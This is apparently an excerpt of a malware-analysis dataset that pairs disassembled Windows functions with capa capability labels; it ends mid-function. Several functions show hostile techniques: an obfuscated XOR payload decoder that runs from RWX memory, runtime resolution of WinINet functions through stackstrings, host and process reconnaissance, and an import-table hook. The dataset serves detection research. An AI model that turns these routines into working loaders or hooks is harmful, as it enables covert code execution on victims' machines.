joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ee70
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0xe99620]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x45d63b
je 0x45d68e
cmp ebx, 0x20
jbe 0x45d694
cmp ebx, 0x40
jbe 0x45d6da
jmp 0x45d77b
test ebx, ebx
je 0x45d684
add eax, 0x10
test ax, 0xff0
je 0x45d670
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x6d4c80]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x6d4e80]
jmp 0x45d658
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x45d658
pxor xmm1, xmmword [0xe99630]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0xe99630]
pxor xmm2, xmmword [0xe99640]
pxor xmm3, xmmword [0xe99650]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0xe99630]
pxor xmm2, xmmword [0xe99640]
pxor xmm3, xmmword [0xe99650]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x45d7da
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0xe99079], 0
je 0x45ee8a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x45d600
jmp fcn.004079e0
Function at 0x3484eeb1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftPCHealthErrorReportingDWInstalled
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x3484ef09
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push 0
push 0
push str.DW0200
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x3484ef09
mov al, 1
jmp 0x3484ef0b
xor al, al
leave
ret 8

Function at 0x3484ef60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x3484ef6f
pop dword [ebp - 8]
mov eax, 0x838566e3
sub eax, 0x4f007774
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x9fbcb012
add dword [ebp - 0x18], 0xae959539
mov dword [ebp - 0x14], 0x33076059
add dword [ebp - 0x14], 0xff2bebec
mov dword [ebp - 0x10], 0x161b12cd
sub dword [ebp - 0x10], 0xc9cece9f
mov dword [ebp - 0xc], 0x11251d1c
sub dword [ebp - 0xc], 0x11251d1c
lea eax, [ebp - 0x18]
push eax
mov eax, 0x84a69b22
sub eax, 0x50217a1a
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xbb7832c1
add dword [ebp - 0x18], 0xb8fa3695
mov dword [ebp - 0x14], 0x9d09c655
sub dword [ebp - 0x14], 0x5b9d64e0
mov dword [ebp - 0x10], 0xbed40d48
add dword [ebp - 0x10], 0xa49b5f24
mov dword [ebp - 0xc], 0xb84ce14d
sub dword [ebp - 0xc], 0xb84ce14d
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x7611935b
add eax, 0xbe738dcd
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x32582
push 0
call eax
mov ecx, 0xcaf34922
sub ecx, 0xcaf312be
xor edx, edx
add edx, eax
mov ebx, 0x3486d000
add ebx, dword [ebp - 8]
mov edi, 0x1a3e4790
sub edi, 0x551e3192
mov esi, dword [ebx]
xor dword [ebp - 4], ebx
add esi, edi
mov dword [edx], esi
add dword [ebp - 4], 0x85d35011
add edx, 4
add ebx, 0xa20dfa9c
add ebx, 0x5df20568
loop 0x3484f08d
add eax, 0x6ea0a698
add eax, 0x916025cb
mov ebx, eax
add eax, 5
mov ecx, 0x34810000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401350
Capabilities:
Get hostname
Get session user name

Disassembly:
push 0x334
mov eax, 0x40d111
call fcn.0040c249
push 0x31c
push 0
mov esi, 0x413d20
push esi
call fcn.004097b0
add esp, 0xc
push esi
mov dword [0x413d20], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x31c]
push eax
mov dword [ebp - 0x340], 0x104
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x20
pop ecx
lea esi, [ebp - 0x31c]
mov edi, 0x413e3c
rep movsd dword es:[edi], dword [esi]
xor eax, eax
movzx ecx, word [ebp + eax - 0x31c]
mov word [eax + 0x413e3c], cx
add eax, 2
test cx, cx
jne 0x4013b5
lea eax, [ebp - 0x33c]
push eax
push 0x413ebc
mov dword [ebp - 0x33c], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0x103
lea eax, [ebp - 0x113]
push 0
push eax
mov byte [ebp - 0x114], 0
call fcn.004097b0
add esp, 0xc
push 0x410270
lea esi, [ebp - 0x338]
call fcn.00401f59
and dword [ebp - 4], 0
mov eax, esi
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00402b9f
cmp dword [ebp - 0x324], 8
mov eax, dword [ebp - 0x338]
pop ecx
pop ecx
jae 0x40143b
mov eax, esi
mov esi, 0x413f3c
mov edx, esi
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401444
push esi
mov ecx, 0x413fbc
call fcn.004029ac
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x338]
call fcn.00402402
call fcn.0040c293
ret

Function at 0x401d21
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x412084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x401d98
push 0x228
lea eax, [ebp - 0x22c]
push edi
push eax
mov dword [ebp - 0x230], 0x22c
call fcn.004097b0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401d91
lea eax, [ebp - 0x230]
push eax
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401d79
cmp edi, 0x1e
jg 0x401d98
push 1
call fcn.004050d6
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004046ff
leave
ret
Function at 0x401da6
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push str.00861111_3333_4ABD_GGGG_2246FE482F99
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401dd3
push esi
call fcn.004050d6
call fcn.00401d21
call fcn.00401350
call fcn.00402f39
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0xc], esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004018c2
test eax, eax
je 0x401ef5
call fcn.00401c16
mov ebx, eax
call edi
push eax
call fcn.00404dc4
pop ecx
call fcn.00404dd6
push 0xe
cdq
pop ecx
idiv ecx
imul edx, edx, 0xbe5
push edx
call esi
test ebx, ebx
je 0x401e30
call fcn.00401a48
mov dword [esp + 0xc], eax
push 0x380
call esi
cmp dword [esp + 0xc], 0
je 0x401df2
call fcn.00401c16
test eax, eax
je 0x401eab
call edi
push eax
call fcn.00404dc4
pop ecx
call fcn.00404dd6
push 0xe
cdq
pop ecx
idiv ecx
imul edx, edx, 0x64
push edx
call esi
mov eax, dword [0x41403c]
test eax, eax
je 0x401e78
push sym.ssMUIDLL.exe_WinHttpFreeShareFree
push sym.ssMUIDLL.exe_WinHttpPostShare
call eax
pop ecx
pop ecx
call edi
push eax
call fcn.00404dc4
pop ecx
call fcn.00404dd6
push 0xf
cdq
pop ecx
idiv ecx
imul edx, edx, 0x6d
push edx
call esi
mov eax, dword [0x414040]
test eax, eax
je 0x401e3e
push sym.ssMUIDLL.exe_WinHttpFreeShareFree
push sym.ssMUIDLL.exe_WinHttpPostShare
call eax
pop ecx
pop ecx
jmp 0x401e3e
and dword [esp + 0xc], 0
call edi
push eax
call fcn.00404dc4
pop ecx
call fcn.00404dd6
push 0x1e
cdq
pop ecx
idiv ecx
imul edx, edx, 0x8a1
push edx
call esi
cmp dword [0x413d1c], 0
je 0x401df2
call fcn.004042ad
xor eax, eax
mov dword [0x413d1c], eax
mov dword [0x41403c], eax
mov dword [0x414040], eax
jmp 0x401df2
call edi
push eax
call fcn.00404dc4
pop ecx
call fcn.00404dd6
push 0xe
cdq
pop ecx
idiv ecx
imul edx, edx, 0x13ae
push edx
call esi
jmp 0x401df2
Function at 0x4029ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2908
call fcn.0040b490
mov eax, dword [0x412084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x49
mov dword [ebp - 0x28fc], eax
pop eax
push 0x50
mov word [ebp - 0x30], ax
pop eax
push 0x48
mov word [ebp - 0x2e], ax
pop eax
push 0x4c
mov word [ebp - 0x2c], ax
pop eax
push 0x50
mov word [ebp - 0x2a], ax
pop eax
push 0x41
mov word [ebp - 0x28], ax
pop eax
push 0x50
mov word [ebp - 0x26], ax
pop eax
push 0x49
mov word [ebp - 0x24], ax
pop eax
push 0x2e
mov word [ebp - 0x22], ax
pop eax
push 0x44
mov word [ebp - 0x20], ax
pop eax
mov word [ebp - 0x1e], ax
push 0x4c
pop eax
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], ax
xor eax, eax
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x30]
mov edi, ecx
push eax
mov dword [ebp - 0x2900], edi
mov dword [ebp - 0x14], 0x41746547
mov dword [ebp - 0x10], 0x74706164
mov dword [ebp - 0xc], 0x49737265
xor ebx, ebx
mov dword [ebp - 8], 0x6f666e
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2904]
push ecx
lea ecx, [ebp - 0x28f0]
push ecx
mov dword [ebp - 0x2904], 0x2880
call eax
movzx eax, byte [ebp - 0x2757]
push eax
movzx eax, byte [ebp - 0x2758]
push eax
movzx eax, byte [ebp - 0x2759]
push eax
movzx eax, byte [ebp - 0x275a]
push eax
movzx eax, byte [ebp - 0x275b]
push eax
movzx eax, byte [ebp - 0x275c]
push eax
push str._02X__02X__02X__02X__02X__02X
lea esi, [ebp - 0x28f0]
push edi
mov dword [ebp - 0x28f4], esi
call fcn.004051be
push 0x3f
mov byte [ebp - 0x70], bl
push ebx
lea eax, [ebp - 0x6f]
push eax
call fcn.004097b0
add esp, 0x2c
mov dword [ebp - 0x28f8], ebx
jmp 0x402ae2
mov esi, dword [ebp - 0x28f4]
cmp dword [ebp - 0x28f8], 3
jge 0x402b61
lea edx, [esi + 0x1ac]
cmp edx, ebx
je 0x402b4b
add esi, 0x1b0
mov dword [ebp - 0x2908], esi
mov eax, dword [ebp - 0x2908]
mov edx, dword [edx]
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402b0b
lea edi, [ebp - 0x70]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402b18
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x70]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x402b32
mov esi, 0x410384
movsw word es:[edi], word [esi]
cmp edx, ebx
jne 0x402b01
mov esi, dword [ebp - 0x28f4]
mov esi, dword [esi]
inc dword [ebp - 0x28f8]
mov dword [ebp - 0x28f4], esi
cmp esi, ebx
jne 0x402adc
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebx
push ebx
push 0xffffffffffffffff
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
call esi
push eax
push dword [ebp - 0x28fc]
lea eax, [ebp - 0x70]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call esi
push dword [ebp - 0x2900]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ff
leave
ret
Function at 0x402f39
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x412084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x57
pop ecx
push 0x49
mov word [ebp - 0xa8], cx
pop ecx
push 0x4e
mov word [ebp - 0xa6], cx
pop ecx
push 0x49
mov word [ebp - 0xa4], cx
pop ecx
push 0x4e
mov word [ebp - 0xa2], cx
pop ecx
push 0x45
mov word [ebp - 0xa0], cx
pop ecx
push 0x54
mov word [ebp - 0x9e], cx
pop ecx
push 0x2e
mov word [ebp - 0x9c], cx
pop ecx
xor eax, eax
push 0x64
mov word [ebp - 0x9a], cx
pop ecx
push 0x6c
mov word [ebp - 0x98], cx
pop ecx
mov dword [0x413d18], eax
mov dword [0x413d14], eax
mov dword [0x413d08], eax
mov byte [ebp - 0x40], al
mov byte [ebp - 0x54], al
mov byte [ebp - 0x18], al
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x7c], al
mov word [ebp - 0x96], cx
mov word [ebp - 0x94], cx
lea eax, [ebp - 0xa8]
xor ecx, ecx
push eax
mov word [ebp - 0x92], cx
mov dword [ebp - 0x78], 0x65746e49
mov dword [ebp - 0x74], 0x74656e72
mov dword [ebp - 0x70], 0x736f6c43
mov dword [ebp - 0x6c], 0x6e614865
mov dword [ebp - 0x68], 0x656c64
mov dword [ebp - 0x14], 0x65746e49
mov dword [ebp - 0x10], 0x74656e72
mov dword [ebp - 0xc], 0x6e65704f
mov word [ebp - 8], 0x57
mov dword [ebp - 0x50], 0x65746e49
mov dword [ebp - 0x4c], 0x74656e72
mov dword [ebp - 0x48], 0x6e6e6f43
mov dword [ebp - 0x44], 0x57746365
mov dword [ebp - 0x64], 0x70747448
mov dword [ebp - 0x60], 0x6e65704f
mov dword [ebp - 0x5c], 0x75716552
mov dword [ebp - 0x58], 0x57747365
mov dword [ebp - 0x28], 0x70747448
mov dword [ebp - 0x24], 0x646e6553
mov dword [ebp - 0x20], 0x75716552
mov dword [ebp - 0x1c], 0x57747365
mov dword [ebp - 0x3c], 0x65746e49
mov dword [ebp - 0x38], 0x74656e72
mov dword [ebp - 0x34], 0x64616552
mov dword [ebp - 0x30], 0x656c6946
mov dword [ebp - 0x90], 0x65746e49
mov dword [ebp - 0x8c], 0x74656e72
mov dword [ebp - 0x88], 0x72657551
mov dword [ebp - 0x84], 0x74704f79
mov dword [ebp - 0x80], 0x576e6f69
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x78]
push ecx
mov dword [0x413d00], eax
push eax
call esi
mov dword [0x413d0c], eax
lea eax, [ebp - 0x14]
push eax
push dword [0x413d00]
call esi
mov dword [0x413d04], eax
lea eax, [ebp - 0x50]
push eax
push dword [0x413d00]
call esi
mov dword [0x413cf0], eax
lea eax, [ebp - 0x64]
push eax
push dword [0x413d00]
call esi
mov dword [0x413cf4], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x413d00]
call esi
mov dword [0x413d10], eax
lea eax, [ebp - 0x3c]
push eax
push dword [0x413d00]
call esi
mov dword [0x413cf8], eax
lea eax, [ebp - 0x90]
push eax
push dword [0x413d00]
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [0x413cfc], eax
pop esi
call fcn.004046ff
leave
ret
Function at 0x403e55
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov ebx, dword [edi + 4]
xor edx, edx
lea ecx, [ecx + eax + 0x18]
cmp dx, word [eax + 6]
jae 0x403f14
lea esi, [ecx + 0x10]
mov eax, dword [esi]
test eax, eax
jne 0x403ec0
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 8], eax
test eax, eax
jle 0x403eff
push 4
push 0x1000
push eax
mov eax, dword [esi - 4]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x403f1c
push dword [ebp - 8]
mov eax, dword [esi - 4]
add eax, ebx
push 0
push eax
mov dword [esi - 8], eax
call fcn.004097b0
jmp 0x403efc
mov ecx, dword [esi + 4]
add ecx, eax
cmp dword [ebp + 0xc], ecx
jb 0x403f1c
push 4
push 0x1000
push eax
mov eax, dword [esi - 4]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x403f1c
mov eax, dword [esi + 4]
push dword [esi]
add eax, dword [ebp + 8]
mov edi, dword [esi - 4]
add edi, ebx
push eax
push edi
call fcn.00409420
mov dword [esi - 8], edi
mov edi, dword [ebp + 0x14]
add esp, 0xc
mov eax, dword [edi]
movzx eax, word [eax + 6]
inc dword [ebp - 4]
add esi, 0x28
cmp dword [ebp - 4], eax
jl 0x403e80
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
jmp 0x403f17
Function at 0x4046ff
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412084]
jne 0x404709
repz ret
jmp fcn.00405804

Function at 0x408e95
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x412084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004060ff
and dword [ebp - 0x14], 0
cmp dword [0x413c6c], 0
mov dword [ebp - 0x18], eax
jne 0x408f48
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x408ff0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x408ff0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x413c6c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x413c70], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x413c74], eax
call edi
push eax
call esi
mov dword [0x413c7c], eax
test eax, eax
je 0x408f48
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x413c78], eax
mov eax, dword [0x413c78]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408fa1
cmp dword [0x413c7c], ecx
je 0x408fa1
push eax
call esi
push dword [0x413c7c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408fa1
test ebx, ebx
je 0x408fa1
call edi
test eax, eax
je 0x408f98
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x408f98
test byte [ebp - 8], 1
jne 0x408fa1
or dword [ebp + 0x10], 0x200000
jmp 0x408fd4
mov eax, dword [0x413c70]
cmp eax, dword [ebp - 0x18]
je 0x408fd4
push eax
call esi
test eax, eax
je 0x408fd4
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x408fd4
mov eax, dword [0x413c74]
cmp eax, dword [ebp - 0x18]
je 0x408fd4
push eax
call esi
test eax, eax
je 0x408fd4
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x413c6c]
call esi
test eax, eax
je 0x408ff0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x408ff2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ff
leave
ret
Function at 0x401d80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
cmp dword [0x59b6dc], 0
push ebx
mov ebx, dword [0x59ae68]
jne 0x401e2d
push esi
push 0xa
push 0x11
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x401e2c
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401e2b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push 0
mov ebx, eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push edi
push ebx
push eax
call fcn.0043ce90
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x401e24
push eax
call fcn.004017c0
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
pop esi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x404f50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x80]
sub esp, 0x1c
push ebp
push esi
add eax, ebx
cmp dword [eax + 0xc], 0
push edi
lea edi, [eax + 0xc]
je 0x404fa8
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ecx, dword [edi]
add ecx, ebx
push ecx
push 0x456528
call ebp
test eax, eax
jne 0x404fa0
mov esi, dword [edi + 4]
add esi, ebx
cmp dword [esi], eax
je 0x404fa0
lea ebx, [ebx]
mov edx, dword [esp + 0x2c]
cmp dword [esi], edx
je 0x404fb1
add esi, 4
cmp dword [esi], 0
jne 0x404f90
add edi, 0x14
cmp dword [edi], 0
jne 0x404f71
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret
push 0x1c
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
call edi
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x404feb
mov dword [esi], 0x405150
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push eax
push ecx
call edi
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
add esp, 0x1c
ret
Function at 0x40d610
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push edi
push ebx
push ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40d627
pop edi
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40d658
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, esi
and edi, 0xf
jbe 0x40d654
cmp esi, eax
jae 0x40d658
sub edi, 1
movzx ecx, word [esi]
lea esi, [esi + ecx*2 + 2]
jne 0x40d644
cmp esi, eax
jb 0x40d65e
pop esi
pop edi
xor eax, eax
pop ebp
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret

Function at 0x40d8d0
Capabilities:
Create thread
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x104
mov eax, dword [0x46a070]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [0x59ae68]
push ebx
mov ebx, dword [0x59b6b4]
push 0xa
push 0x10
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x40d917
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x100]
xor ecx, esp
call fcn.00439d46
add esp, 0x104
ret
mov ecx, dword [0x59ae68]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40d8ff
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0xff
push 0
push 0x59ad68
mov esi, eax
call fcn.0043cd60
mov edx, dword [0x59ae68]
mov edi, dword [sym.imp.USER32.dll_LoadStringA]
add esp, 0xc
push 0xfe
push 0x59ad68
push 0x90
push edx
call edi
mov dword [0x597948], 0x59ad68
cmp word [esi + 6], 0
je 0x40d97c
call fcn.00401d80
test ebx, ebx
jne 0x40d9de
movzx ecx, word [esi + 2]
mov ax, word [esi]
mov word [0x595e34], cx
movsx ecx, cx
mov word [0x595e32], ax
movsx eax, ax
lea edx, [ecx - 0x28]
add ecx, 0xffffffe2
mov dword [0x59783c], eax
mov dword [0x597850], eax
mov dword [0x597864], eax
mov dword [0x597840], edx
mov dword [0x5978ec], ecx
movzx eax, word [esi + 4]
imul eax, eax, 0x3e8
push eax
push ebx
push 0x401ef0
mov dword [0x59b6a4], 1
call fcn.00439c01
add esp, 0xc
push 0xff
lea ecx, [esp + 0x10]
push 0
push ecx
call fcn.0043cd60
mov eax, dword [0x59ae68]
add esp, 0xc
push 0xfe
lea edx, [esp + 0x10]
push edx
push 0x70
push eax
call edi
test ebx, ebx
pop edi
pop esi
je 0x40da1b
lea ecx, [esp + 4]
push ecx
call fcn.0043a169
add esp, 4
jmp 0x40da24
lea ebx, [esp + 4]
call fcn.00401ff0
mov ecx, dword [esp + 0x104]
pop ebx
xor ecx, esp
mov eax, 1
